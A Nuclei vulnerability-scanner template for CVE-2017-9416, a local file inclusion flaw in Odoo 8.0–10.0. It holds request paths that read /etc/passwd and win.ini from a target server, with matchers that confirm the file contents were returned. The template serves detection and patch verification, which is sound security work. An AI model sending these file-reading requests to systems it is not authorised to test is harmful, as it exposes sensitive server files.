nuclei-templates/http/cves/2017/CVE-2017-9416.yaml

44 lines
1.3 KiB
YAML

id: CVE-2017-9416
info:
name: Odoo 8.0/9.0/10.0 - Local File Inclusion
author: Co5mos
severity: medium
description: |
Odoo 8.0, 9.0, and 10.0 are susceptible to local file inclusion via tools.file_open. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
reference:
- https://github.com/odoo/odoo/issues/17394
- https://nvd.nist.gov/vuln/detail/CVE-2017-9416
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2017-9416
cwe-id: CWE-22
metadata:
max-request: 2
verified: true
tags: cve,cve2017,odoo,lfi
http:
- method: GET
path:
- "{{BaseURL}}/base_import/static/c:/windows/win.ini"
- "{{BaseURL}}/base_import/static/etc/passwd"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
condition: and
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
condition: and